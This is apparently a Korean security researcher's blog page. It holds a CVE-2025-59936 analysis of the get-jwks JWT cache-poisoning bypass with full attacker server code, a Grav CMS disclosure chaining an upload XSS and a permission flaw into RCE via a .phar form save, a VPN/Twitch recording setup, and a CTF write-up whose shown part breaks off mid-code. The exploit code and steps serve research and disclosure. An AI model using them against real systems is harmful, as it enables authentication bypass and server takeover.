Universe blog

[분석 일기] JWK를 캐시에 저장하여 관리할 경우 어떻게 될까 with CVE-2025-59936

Universe7202 — Tue, 30 Sep 2025 16:18:00 +0900

1. 서론

generated by chatgpt

얼마전에 npm 모듈 중에서 재미있는 취약점이 공개 되었길래 분석을 진행하였다.

`get-jwks` 모듈은 전달 받은 JWT를 verify 하기 위해, iss 필드에 있는 서버로 fetch한 결과(JWK)를 캐시에 저장하는 모듈이다.

이로 인해, 상황에 맞는 동일한 JWK에 대해 다시 요청할 필요 없이 캐시된 정보로 verify 하게 된다.

https://github.com/nearform/get-jwks

GitHub - nearform/get-jwks: Fetch utils for JWKS keys

Fetch utils for JWKS keys. Contribute to nearform/get-jwks development by creating an account on GitHub.

github.com

캐시 정보는 key:value 형태로 저장되는데, key는 JWT에서 sig, kid, iss를 추출 및 조합한 값을 key로 사용하고, value는 iss에 요청을 보낸 JWK 정보이다. 이때, JWT에 추출한 값은 verify하기 전 값을 가져와 key를 세팅하므로, 공격자가 임의 key를 지정하여 삽입할 수 있다. 이로 인해, 공격자는 첫번째 JWT는 공격자의 JWK를 저장하기 위한 값으로 캐싱하고, 두번째 요청은 공격자의 개인키로 서명한 JWT 값을 전달하여 verify를 bypass하는(허용된 iss를 설정한 상태에서도) CVE-2025-59936 취약점 이다.

2. get-jwks 모듈 분석

분석할 get-jwks 모듈은 v.11.0.1 버전을 대상으로 분석을 진행할 것이며, commit은 https://github.com/nearform/get-jwks/tree/79314531f66e2f2509d1e0225b9620f11e1422e4 이다.

JWT에 `iss`, `alg`, `kid` 값을 추출하여 `cacheKey` 변수를 생성힌다. 이는 `${alg}:${kid}:${normalizedDomain}` 형태로 key를 생성한 뒤, 캐시에 저장된 JWK가 있다면 해당 값을 리턴한다. 그렇지 않으면, `retrieveJwk()` 함수를 호출하여 iss에 요청을 보내 JWK 정보를 가져와 캐싱한다.

// https://github.com/nearform/get-jwks/blob/79314531f66e2f2509d1e0225b9620f11e1422e4/src/get-jwks.js#L57-L100

async function getPublicKey(signature) {
  return jwkToPem(await this.getJwk(signature))
}

function getJwk(signature) {
  const { domain, alg, kid } = signature

  const normalizedDomain = ensureTrailingSlash(domain)

  ...

  const cacheKey = `${alg}:${kid}:${normalizedDomain}`
  const cachedJwk = cache.get(cacheKey)

  if (cachedJwk) {
    return cachedJwk
  }

  const jwkPromise = retrieveJwk(normalizedDomain, alg, kid).catch(
    err => {
      const stale = staleCache.get(cacheKey)

      cache.delete(cacheKey)

      if (stale) {
        return stale
      }

      throw err
    }
  )

  cache.set(cacheKey, jwkPromise)

  ...

`retrieveJwk()` 함수는 아래와 같으며, 전달 받은 도메인에 `/.well-known/jwks.json` 으로 요청을 보내어 JWK 정보를 가져온다.

async function retrieveJwk(normalizedDomain, alg, kid) {
    const jwksUri = jwksPath
      ? normalizedDomain + jwksPath
      : providerDiscovery
      ? await getJwksUri(normalizedDomain)
      : `${normalizedDomain}.well-known/jwks.json`

    const response = await fetch(jwksUri, fetchOptions)
    const body = await response.json()

위 분석 내용에서 중요한 점은 JWT에 `iss`, `alg`, `kid` 값을 `${alg}:${kid}:${normalizedDomain}` key 형태로 사용한다는 점이다.

3. 분석 환경 세팅

3.1. JWK 관리 서버 3000번 포트

JWK를 관리하는 서버는 아래와 같다. JWT 관리 서버는 3000번 포트를 오픈하고, `/gen` 엔드포인트는 개인키로 서명된 JWT를 응답한다. 이때, `issuer` 값은 본인 서버 주소를 작성하여 이후 다른 서버에게 JWK 정보를 제공하기 위해 `/.well-known/jwks.json` 엔드포인트로 JWK 정보를 응답하도록 설정하였다.

const express = require('express');
const morgan = require('morgan');
const { generateKeyPair, exportJWK, SignJWT } = require('jose');

const app = express();
const port = 3000;
app.use(express.json());
app.use(morgan('tiny'));

let PRIVATE_KEY;
let JWKS;
let ISSUER = 'http://localhost:3000';

async function initKeys() {
    const { publicKey, privateKey } = await generateKeyPair('RS256');
    PRIVATE_KEY = privateKey;
    const jwk = await exportJWK(publicKey);
    jwk.kid = jwk.kid || `kid-${Date.now()}`;
    jwk.use = 'sig';
    jwk.alg = 'RS256';

    JWKS = { keys: [jwk] };
}

app.get('/.well-known/jwks.json', (req, res) => {
    console.log("request ")
    if (!JWKS) return res.status(503).json({ error: 'keys not ready' });
    res.json(JWKS);
});

app.get('/.well-known/openid-configuration', (req, res) => {
  res.json({
    issuer: ISSUER,
    jwks_uri: `${ISSUER}/.well-known/jwks.json`
  });
});

app.get("/gen", async (req, res) => {
    const payload = {
        sub: 'anonymous',
    };

    const kid = JWKS.keys[0].kid;
    const token = await new SignJWT(payload)
        .setProtectedHeader({ alg: 'RS256', kid })
        .setIssuer(ISSUER)
        .setIssuedAt()
        .setExpirationTime('1h')
        .sign(PRIVATE_KEY);

    res.json({ token });
})

initKeys().then(() => {
    app.listen(port, () => {
        console.log(`JWT issuer server listening on http://localhost:${port}`);
        console.log(`JWKS endpoint: http://localhost:${port}/.well-known/jwks.json`);
        console.log(`Token gen: POST http://localhost:${port}/gen`);
    });
}).catch(err => {
    console.error('Failed to initialize keys:', err);
    process.exit(1);
});

3.2. API 서버 3001번 포트

다음은 API 서버 코드 이다. 해당 서버는 3001번 포트를 오픈 하고 있으며, 인증 및 기타 API 서버를 제공하는 컨셉이다. `/auth` 엔드포인트에 JWT 값을 포함하여 요청을 보낸다면, 해당 값을 `get-jwks` 모듈에서 검증한다. 추가로, `createVerifier()` 함수에서 허용된 iss 서버를 지정하고 있어, 다른 iss는 사용할 수 없다.

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier, createSigner } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'http://localhost:3000',
});

const app = express();
const port = 3001;

app.use(express.json());

async function verifyToken(req, res, next) {
  try {
    const headerAuth = req.headers.authorization?.split(' ') || []
    let token = '';
    if (headerAuth.length > 1) {
      token = headerAuth[1];
    }
    const payload = await jwtVerifier(token);
    req.decoded = payload;
    next();
  } catch (err) {
    return res.status(401).json({ error: 'Invalid or missing token', details: err.message });
  }
}

// 인증 확인 엔드포인트
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

4. 취약점 분석

`get-jwks` 모듈의 문제점은 verify하기 전에 공격자가 전달한 JWT의 iss, kid, sig 값을 key로 하여 공격자의 iss에 요청을 보내어 JWK 정보를 저장한다는 점이다.

아래는 `get-jwks` 모듈의 코드 일부분 이며, 앞서 설명한 것처럼 verify 하기 전에 key를 만든 뒤, 해당 key가 존재하지 않으면 iss에 요청을 보내어 JWK 정보를 `cache.set()` 하는 것을 볼 수 있다.

// https://github.com/nearform/get-jwks/blob/79314531f66e2f2509d1e0225b9620f11e1422e4/src/get-jwks.js#L76

function getJwk(signature) {
  const { domain, alg, kid } = signature
  
  ...
  
  const cacheKey = `${alg}:${kid}:${normalizedDomain}`
  const cachedJwk = cache.get(cacheKey)

  if (cachedJwk) {
    return cachedJwk
  }

  // iss 요청
  const jwkPromise = retrieveJwk(normalizedDomain, alg, kid).catch(
    ...
  )

  // JWK 정보 저장
  cache.set(cacheKey, jwkPromise)

  return jwkPromise
}

4.1. 공격자 서버 세팅

공격자는 아래와 같은 공격 시나리오가 가능하다.

4.1.1. 공격자의 JWK 정보를 리턴하는 엔드포인트

공격자의 JWK 정보를 응답하는 엔드포인트를 만든다. 이때, 테스트를 위해 kid는 testkid로 지정한다.

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '/.well-known/jwks.json'
    });
});

4.1.2. 공격자의 개인키로 서명하는 엔드포인트 및 iss 변조

공격자의 개인키로 서명한 JWT 값을 생성하는 엔드프인트를 만든다. 이때, 위에서 사용한 동일한 kid를 작성해야 하며, iss는 공격자의 서버 주소와 `/?:` 문자열 사이에 추가로 기존 JWK 서버 주소를 작성한다.

const port = 3002;
const host = `http://localhost:${port}`;
const target_iss = `http://localhost:3000`;

app.post('/create-token-1', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: "testkid", 
     } });
  res.send(token);
});

이렇게 생성된 JWT를 API(3001번 포트) 서버의 `/auth` 엔드포인트에 전송하면, 캐시에는 아래와 같은 key가 만들어 진다.

RS256:testkid:http://localhost:3002/?:http://localhost:3000

|alg| |-kid-| |-------------------iss----------------------|

value는 공격자가 설정한 iss 값으로 요청을 보내어 JWK 정보를 가져오려고 시도한다. 하지만, iss 값은 4.1.1. 공격자의 JWK 서버 이므로, 앞서 설정한 엔드포인트로 인해 공격자의 JWK 정보를 응답한다. 해당 정보는 캐싱되어 저장된다. 최종적으로, API(3001번 포트) 서버는 verify 하려고 하지만, 기존 JWK(3000번 포트) 서버의 private key로 서명한 것을 공격자의 public key로 검증에 실패한다.

4.1.3. 공격자의 개인키로 서명하는 엔드포인트 및 kid 변조

아래 엔드포인트와 4.1.2. 엔드포인트의 다른 점은 iss 값을 기존 JWK(3000번 포트) 서버로 설정하고 kid를 이상하게 변조하여 JWT를 생성하고 있다.

app.post('/create-token-2', (req, res) => {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
});

위 엔드포인트로 생성된 JWT를 API(3001번 포트) 서버의 `/auth` 엔드포인트에 전송하면, 캐시에는 아래와 같은 key가 만들어 진다.

RS256:testkid:http://localhost:3002/?:http://localhost:3000

|alg| |------------kid--------------| |-------iss---------|

이는 4.1.2. 에서 생성한 key와 동일하며, 또한 API(3001번 포트) 서버에서 설명한 `createVerifier()` 함수에서 허용된 iss 값을 우회할 수 있는 형태이다. 따라서, 위 엔드포인트로 만들어진 JWT를 전달하면 캐싱된 JWK를 가져오고, 공격자의 private key로 서명한 값을 공격자의 JWK로 verify 하기 때문에 인증을 통과할 수 있다.

4.1.4. 공격자 전체 서버 코드

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const morgan = require('morgan');

const app = express();
const port = 3002;
const host = `http://localhost:${port}`;
const target_iss = `http://localhost:3000`;

app.use(morgan('tiny'));

const { publicKey, privateKey } = generateKeyPairSync("rsa",
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
);
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: "testkid", 
     } });
  res.send(token);
});

// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
  });

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '/.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

5. 결론

`get-jwks` 모듈은 많이 사용하지는 않지만, 공격자가 원하는 JWT를 생성하여 인증을 우회할 수 있는 아주 무서운 취약점인 것 같다. 또한, 앞서 설명한 방법대로 JWK를 캐싱하여 인증을 통과하는 공격 기법은 처음 보는 방법이라 재미있게 읽고 분석할 수 있었다.

[분석 일기] docs 정독으로 Grav CMS에서 RCE 취약점 찾은 썰

Universe7202 — Fri, 12 Jan 2024 00:39:37 +0900

1. Grav CMS

Grav CMS는 php로 개발된 CMS 입니다.

Grav is a Fast, Simple, and Flexible, file-based Web-platform.

GitHub - getgrav/grav: Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS powered by PHP, Markdown, Twig

Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS powered by PHP, Markdown, Twig, and Symfony - GitHub - getgrav/grav: Modern, Crazy Fast, Ridiculously Easy and Amazingly P...

github.com

2. Vulnerablity

회사에서 연구 기간을 잠깐 가졌었는데, Grav CMS를 처음 접하고 취약점을 찾고 싶어서 타겟으로 선정했습니다. 3일간 총 3개의 취약점을 찾았고, 이를 제보하였습니다.

2.1 파일 확장자 검증 우회로 XSS

파일 업로드 기능에서 코드를 분석 하다가 확장자 우회를 통한 XSS 취약점을 발견했습니다. 파일 업로드 하면 파일 이름은 `$filename` 변수에 저장됩니다. 이후 `checkFilename()` 함수에서 `$filename` 을 검사합니다. 이후 `mb_strtolower()` 함수로 확장자를 소문자로 바꾸고 설정 파일에 해당 확장자가 존재하는지 확인하는 구조 입니다.

// system/src/Grav/Common/Media/Traits/MediaUploadTrait.php#L159-L170
// https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php#L159-L170

// Check if the filename is allowed.
if (!Utils::checkFilename($filename)) {
    throw new RuntimeException(
        sprintf($this->translate('PLUGIN_ADMIN.FILEUPLOAD_UNABLE_TO_UPLOAD'), $filepath, $this->translate('PLUGIN_ADMIN.BAD_FILENAME'))
    );
}

// Check if the file extension is allowed.
$extension = mb_strtolower($extension);
if (!$extension || !$this->getConfig()->get("media.types.{$extension}")) {
    // Not a supported type.
    throw new RuntimeException($this->translate('PLUGIN_ADMIN.UNSUPPORTED_FILE_TYPE') . ': ' . $extension, 400);
}

`checkFilename()` 함수는 아래와 같습니다. `pathinfo()` 함수로 확장자를 추출하여 이것저것 검증을 하고 있습니다.

// system/src/Grav/Common/Utils.php#L980-L995
// https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Utils.php#L980-L995

public static function checkFilename($filename)
{
    $dangerous_extensions = Grav::instance()['config']->get('security.uploads_dangerous_extensions', []);
    $extension = static::pathinfo($filename, PATHINFO_EXTENSION);

    return !(
        // Empty filenames are not allowed.
        !$filename
        // Filename should not contain horizontal/vertical tabs, newlines, nils or back/forward slashes.
        || strtr($filename, "\t\v\n\r\0\\/", '_______') !== $filename
        // Filename should not start or end with dot or space.
        || trim($filename, '. ') !== $filename
        // File extension should not be part of configured dangerous extensions
        || in_array($extension, $dangerous_extensions)
    );
}

// $dangerous_extensions = php, html, htm, js, exe

첫번째 코드 블록과 두번째 코드 블록에서 차이점이 존재합니다. 첫번째 코드 블록에서는 확장자를 가져와서 `mb_strtolower()` 함수를 이용하여 소문자로 변경한 뒤 검증하고 있습니다. 하지만, 두번째 코드 블록에서는 확장자를 가져오기만 하고 이를 검증하고 있습니다.

따라서, 공격자가 `test.HTML` 로 업로드를 하면 다음과 같은 흐름으로 동작합니다.

`$filename = "test.HTML"`
`checkFilename()` 함수에서 확장자를 추출하는데, `HTML` 확장자는 `$dangerous_extensions` 변수에 존재하지 않아 통과
`mb_strtolower()` 함수로 확장자를 소문자로 변경하고 설정 파일에 html 확장자가 정의 되어 있기 때문에 업로드 성공

위 취약점은 서로 다르게 확장자를 검증하고 있는 이슈 였습니다. 이러한 문제점을 악용하여 다음과 같이 HTML 파일을 업로드 하여 XSS를 트리거 했습니다.

취약점을 제보 했지만, 그쪽에서 일 처리를 이상하게 해서(?).. 음

아무튼 패치는 아래처럼 `checkFilename()` 함수에서 확장자를 소문자로 변경하도록 패치했습니다.

https://github.com/getgrav/grav/commit/80ce87e4a936a3f055d306710cf21120671585ad

2.2 Frontmatter 검증 미흡으로 인한 IDOR

Grav CMS는 글 작성 시, 상세 설정을 위해 Frontmatter 기능을 제공하고 있습니다. 아래 공식 docs에서는 Frontmatter를 이용하여 작성하려는 페이지에 다양한 설정을 할 수 있습니다.

Headers / Frontmatter

Grav documentation

learn.getgrav.org

Frontmatter는 오직 admin 권한을 가진 유저만 사용할 수 있으며, 아래 사진처럼 글 쓰기에서 Expert를 선택하여 사용할 수 있습니다. 예를 들어, 페이지의 title 속성을 변경할 수 있거나 markdown 활성화 여부를 설정할 수 있습니다.

저는 여기서 의문이 들었습니다. admin만 사용할 수 있는 것인가?

확인을 위해 글 작성 권한이 있는 계정을 만들고 글 작성 했을 때의 요청 패킷을 서로 비교했습니다.

왼쪽 패킷은 admin이 Frontmatter에 설정을 작성하고 전송했을 때의 요청 패킷입니다. 오른쪽은 Frontmatter 기능을 쓸 수 없는 권한이고 작성 요청 했을 때의 패킷 입니다. 확인 결과 `data[_json][header][form]` 파라미터의 존재 유무가 있었습니다.

그래서 admin 요청 패킷에 있는 `data[_json][header][form]` 파라미터를 writer 요청 패킷에 추가하여 전달했습니다. 결과는 writer도 Frontmatter 기능을 사용할 수 있었습니다. 즉, 코드 상에서는 Frontmatter 기능의 권한 검증을 제대로 하지 않고 있는 것입니다.

위 취약점 또한 제보했지만, 글 작성 시점에도 여전히 패치 되지 않았습니다.

위 IDOR 취약점으로 뭘 할 수 있을지 공식 docs를 읽었습니다. 그러다가 Frontmatter 기능으로 Contact Form을 만들 수 있다는 것을 알게 되었습니다.

2.3 Contact Form을 악용하여 RCE

Frontmatter 기능으로 contact form을 만들 수 있습니다. 아래 공식 docs를 참고 바랍니다.

Example: Contact Form

Grav documentation

learn.getgrav.org

예를 들어, 아래처럼 Contact Form을 작성하면 이용자는 name을 입력할 수 있고 submit 버튼을 클릭하면 서버에는 `process` 에 정의되어 있는 것 처럼 `contact-{Ymd-His-u}.txt` 파일로 저장됩니다.

---
title: Contact Form

form:
    name: contact

    fields:
        name:
          label: Name
          placeholder: Enter your name
          autocomplete: on
          type: text
          validate:
            required: true

    buttons:
        submit:
          type: submit
          value: Submit

    process:
        save:
            fileprefix: contact-
            dateformat: Ymd-His-u
            extension: txt
---

# Contact form

Some sample page content

위 Frontmatter 설정 코드에서 `process` 의 `save` 속성에 관심이 갔습니다. 외부 이용자가 input 태그에 값을 적고 제출하면 `process` 의 `save` 속성에 정의 되어 있는 것처럼 서버에 파일이 저장되는 로직입니다.

해당 속성을 찾아보니 공식 docs에는 `filename` 이라는 속성이 있었습니다.

Reference: Form Actions

Grav documentation

learn.getgrav.org

즉, 아래와 같이 작성하면 서버에 저장될 `filename` 값을 설정할 수 있는 것입니다. 과연 `filename` 속성 값을 코드 상에서는 검증을 제대로 확인하는지 확인해봤습니다.

process:
    - save:
        filename: feedback.txt
        operation: add

아래는 위 로직의 코드 일부분을 가져온 것입니다. `filename` 파라미터에 대한 검증 없이 업로드를 처리하고 있습니다.

// https://github.com/getgrav/grav-plugin-form/blob/d84c57ba923fc557d362658b43e0c570efa0ccb4/form.php#L652-L717

case 'save':
    $filename = $params['filename'] ?? '';

    if (!$filename) {
        if ($operation === 'add') {
            throw new RuntimeException('Form save: \'operation: add\' is only supported with a static filename');
        }

        $filename = $prefix . $this->udate($format, $raw_format) . $postfix . $ext;
    }

    // Process with Twig
    $filename = $twig->processString($filename, $vars);

    $locator = $this->grav['locator'];
    $path = $locator->findResource('user-data://', true);
    $dir = $path . DS . $folder;
    $fullFileName = $dir . DS . $filename;

    $file = File::instance($fullFileName);
    $file->lock();
    $form->copyFiles();

아래 처럼 `filename` 속성 값을 `test.phar` 로 변경하고 writer 권한을 가진 이용자가 IDOR 취약점을 이용하여 Frontmatter 로 Contact Form을 작성합니다. 이후 입력 값에 php 코드를 작성하고 제출하면 아래처럼 서버에 test.phar 파일이 생성 및 공격자가 작성한 php 코드가 저장됩니다. 하지만, 꺽쇠가 필터링 되어 저장된 것을 볼 수 있습니다.

process:
    - save:
        filename: test.phar
        operation: add

이를 해결하기 위해 공식 docs를 확인해본 결과, Contact Form은 기본적으로 XSS 방지를 위해 설정이 enable 되어 있다고 합니다. 이를 비활성화 하기 위해 `xss_check: false` 라고 작성하면 된다고 합니다.

https://learn.getgrav.org/17/forms/forms/form-options#xss-checks

최종 poc 코드는 아래 github repo에 작성되어 있습니다.

GitHub - Universe1122/Grav-CMS-Remote-Code-Execution

Contribute to Universe1122/Grav-CMS-Remote-Code-Execution development by creating an account on GitHub.

github.com

3. Timeline

2023.08.07 : Grav CMS 분석 시작
2023.08.09 : 다수의 취약점 발견
2023.08.17 : 3개의 취약점을 github security에 전달
2023.08.22 : 일부 취약점이 패치 되었지만, 실제로는 제대로 패치 되지 않음

지금 글 작성 시점에서 최신 버전에서는 될지 모르겠지만 (확인하기 귀찮..), 개발자는 지금까지 제대로 응답을 주지 않고 있습니다. 저는 여러번 확인을 부탁했지만, 그쪽에서는 응답을 주지 않아 이렇게 블로그에 취약점을 공개합니다.

synology nas에서 gluetun docker를 이용하여 twitch 1080p 자동 녹화 서버 만들기

Universe7202 — Fri, 10 Nov 2023 00:18:37 +0900

1. 개요

몇년 전 '그' 사건으로 인해 twitch 1080p 가 막히고 다시보기 또한 볼 수 없게 되었다.

필자는 `streamlink`를 이용하여 녹화를 잘 하고 있었지만, 어느순간 1080p가 막히게 되면서 방법을 찾다가 gluetun docker를 접하게 되었다.

2. 환경 세팅

다음과 같은 사전 세팅이 필요하다.

synology nas에 ssh 접속 설정
docker 및 docker-compose 설치
proton vpn 회원가입
- 회원 가입 후 아래 링크에서 3번까지 진행하기
- https://young-cow.tistory.com/95
- 위에서 다운로드 받은 openvpn config 파일, openvpn id 및 pw 확인
twitch API key 발급 (아래 4번에서 설명)

3. gluetun container 생성

gluetun 환경 구성을 위해 아래 docs에 잘 설명되어 있다.

https://github.com/qdm12/gluetun-wiki/tree/main/setup#setup

필자는 openvpn 을 이용하여 vpn docker를 구성할 것이므로 다음과 같은 순서를 따라하면 된다.

(자세한 설명은 https://github.com/qdm12/gluetun-wiki/blob/main/setup/openvpn-configuration-file.md)

3.1 아까 위에서 다운로드 받은 openvpn config 파일을 synology nas의 작업 폴더에 저장한다. 예를 들어 /homes/my-name/gluetun/ 폴더에 openvpn config 파일을 저장한다. 파일 이름은 `openvpn-config.ovpn` 이라고 가정한다.

3.2 docker-compose.yaml 파일을 다음과 같이 작성한다.

version: "3"
services:
  gluetun:
    image: qmcgaw/gluetun:v3
    container_name: gluetun
    cap_add:
      - NET_ADMIN
    devices:
      - /dev/net/tun:/dev/net/tun
    volumes:
      - [openvpn 파일이 저장된 폴더 경로]:/gluetun ## 수정 필요
    environment:
      - VPN_SERVICE_PROVIDER=custom
      - OPENVPN_CUSTOM_CONFIG=/gluetun/openvpn-config.ovpn  ## 수정 필요, openvpn 파일 이름
      - OPENVPN_USER= ## 수정 필요 openvpn id
      - OPENVPN_PASSWORD= ## 수정 필요 openvpn password
    restart: unless-stopped

3.3 nas에 ssh 연결하여 작업 폴더로 이동하고, 다음과 같은 명령어를 입력하여 gluetun container를 생성한다.

docker-compose up -d

3.4 다음과 같은 명령어를 입력하여 gluetun container가 정상적으로 실행되었는지 확인한다.

gluetun container 가 보이지 않거나, STATUS 값이 계속 restarting 이거나 unhealthy 인 경우 `docker-compose logs` 명령어를 입력하여 에러 로그를 확인하여 구글링,,

$ sudo docker ps
CONTAINER ID   IMAGE                                 COMMAND                  CREATED             STATUS                       PORTS                                       NAMES
e9331ef25557   qmcgaw/gluetun:v3                     "/gluetun-entrypoint"    About an hour ago   Up About an hour (healthy)   8000/tcp, 8388/tcp, 8888/tcp, 8388/udp      gluetun

3.5 gluetun container가 openvpn 에 연결이 잘 되었는지 확인하기 위해 다음과 같은 명령어를 입력한다. 출력 값이 본인이 openvpn 설정 파일을 다운로드 받은 국가로 출력 된다면 제대로 연결된 것이다.

sudo docker run --rm --network=container:gluetun alpine:3.14 sh -c "apk add wget && wget -qO- https://ipinfo.io"

4. streamlink container 생성 및 gluetun container의 네트워크에 연결하기

3번은 gluetun container를 생성하기 위한 과정이었다면, 녹화 전용 container를 만들기 위해 하나의 docker-compose에서 네트워크 설정을 해줘야 한다.

따라서 기존의 docker-compose.yaml 파일에서 streamlink container를 추가한다.

image는 ubuntu로 했지만, 기존에 사용했던 streamlink container를 그대로 사용해도 무관하다.

version: "3"
services:
  gluetun:
    image: qmcgaw/gluetun:v3
    container_name: gluetun
    cap_add:
      - NET_ADMIN
    devices:
      - /dev/net/tun:/dev/net/tun
    volumes:
      - [openvpn 파일이 저장된 폴더 경로]:/gluetun ## 수정 필요
    environment:
      - VPN_SERVICE_PROVIDER=custom
      - OPENVPN_CUSTOM_CONFIG=/gluetun/openvpn-config.ovpn  ## 수정 필요, openvpn 파일 이름
      - OPENVPN_USER= ## 수정 필요 openvpn id
      - OPENVPN_PASSWORD= ## 수정 필요 openvpn password
    restart: unless-stopped
    
    
    ## 아래부터 추가됨
  streamlink:
    image: ubuntu         ## 혹은 기존에 사용하던 streamlink 이미지
    command: tail -F anything    ## ubuntu container 안꺼지게 ㅇㅇ
    container_name: streamlink
    volumes:
      - [저장할 녹화 파일 host 폴더 경로]:/app/data  ## host volume 와 container volumne 공유
    network_mode: "container:gluetun"  ## glue container 네트워크 사용
    depends_on: ["gluetun"]  ## glue container 가 정상적으로 실행되면 streamlink container 시작

기존에 녹화 관련 container가 있다면 아래부터는 읽지 않아도 되지만, ubuntu 이미지를 이용하여 streamlink를 처음 사용한다면, 아래 링크에 설명되어 있는대로 진행한다.

https://tgd.kr/s/funzinnu/34572047?category=2358396

위 설명 중 녹화 python 코드가 있는데(필자는 코드를 일부분 수정함), 녹화 영상 저장 경로를 /app/data 로 지정해야 host volume에서 이를 열람할 수 있다.

최종적으로 gluetun 을 이용하여 vpn 서버를 연결하고 이 container에 연결한 streamlink로 twitch 1080p를 녹화할 수 있게 되었다.

WACon2023 CTF Write up

Universe7202 — Sun, 3 Sep 2023 21:52:43 +0900

주변에 아는 사람들이랑 총 4명이서 WACon2023 CTF에 참가했습니다. 결과는 15등으로 마무리 했네요.

1. [web] mosaic

문제 코드는 다음과 같습니다. 이 문제의 컨셉은 이미지 업로드 관련 기능을 제공합니다.

from flask import Flask, render_template, request, redirect, url_for, session, g, send_from_directory
import mimetypes
import requests
import imageio
import os
import sqlite3
import hashlib
import re
from shutil import copyfile, rmtree
import numpy as np

app = Flask(__name__)
app.secret_key = os.urandom(24)
app.config['MAX_CONTENT_LENGTH'] = 16 * 1000 * 1000
DATABASE = 'mosaic.db'
UPLOAD_FOLDER = 'uploads'
MOSAIC_FOLDER = 'static/uploads'

if os.path.exists("/flag.png"):
    FLAG = "./flag.png"
else:
    FLAG = "./test-flag.png"

try:
    with open("password.txt", "r") as pw_fp:
        ADMIN_PASSWORD = pw_fp.read()
        pw_fp.close()
except:
    ADMIN_PASSWORD = "admin"

def apply_mosaic(image, output_path, block_size=10):
    height, width, channels = image.shape
    for y in range(0, height, block_size):
        for x in range(0, width, block_size):
            block = image[y:y+block_size, x:x+block_size]
            mean_color = np.mean(block, axis=(0, 1))
            image[y:y+block_size, x:x+block_size] = mean_color
    imageio.imsave(output_path, image)

def hash(password):
    return hashlib.md5(password.encode()).hexdigest()

def type_check(guesstype):
    return guesstype in ["image/png", "image/jpeg", "image/tiff", "application/zip"]

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db

def init_db():
    with app.app_context():
        db = get_db()
        db.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT unique, password TEXT)")
        db.execute(f"INSERT INTO users (username, password) values('admin', '{hash(ADMIN_PASSWORD)}')")
        db.commit()

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/', methods=['GET'])
def index():
    if not session.get('logged_in'):
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a>&nbsp;&nbsp;<a href="/register">register</a>'''
    else:
        if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
            copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a>&nbsp;&nbsp;<a href="/mosaic">mosaic</a>&nbsp;&nbsp;<a href="/logout">logout</a>'''

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if not re.match('^[a-zA-Z0-9]*$', username):
            return "Plz use alphanumeric characters.."
        cur = get_db().cursor()
        cur.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, hash(password)))
        get_db().commit()
        os.mkdir(f"{UPLOAD_FOLDER}/{username}")
        os.mkdir(f"{MOSAIC_FOLDER}/{username}")
        return redirect(url_for('login'))
    return render_template("register.html")

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if not re.match('^[a-zA-Z0-9]*$', username):
            return "Plz use alphanumeric characters.."
        cur = get_db().cursor()
        user = cur.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, hash(password))).fetchone()
        if user:
            session['logged_in'] = True
            session['username'] = user[1]
            return redirect(url_for('index'))
        else:
            return 'Invalid credentials. Please try again.'
    return render_template("login.html")

@app.route('/logout')
def logout():
    session.pop('logged_in', None)
    session.pop('username', None)
    return redirect(url_for('login'))

@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        image_url = request.form.get('image_url')
        if image_url and "../" not in image_url and not image_url.startswith("/"):
            guesstype = mimetypes.guess_type(image_url)[0]
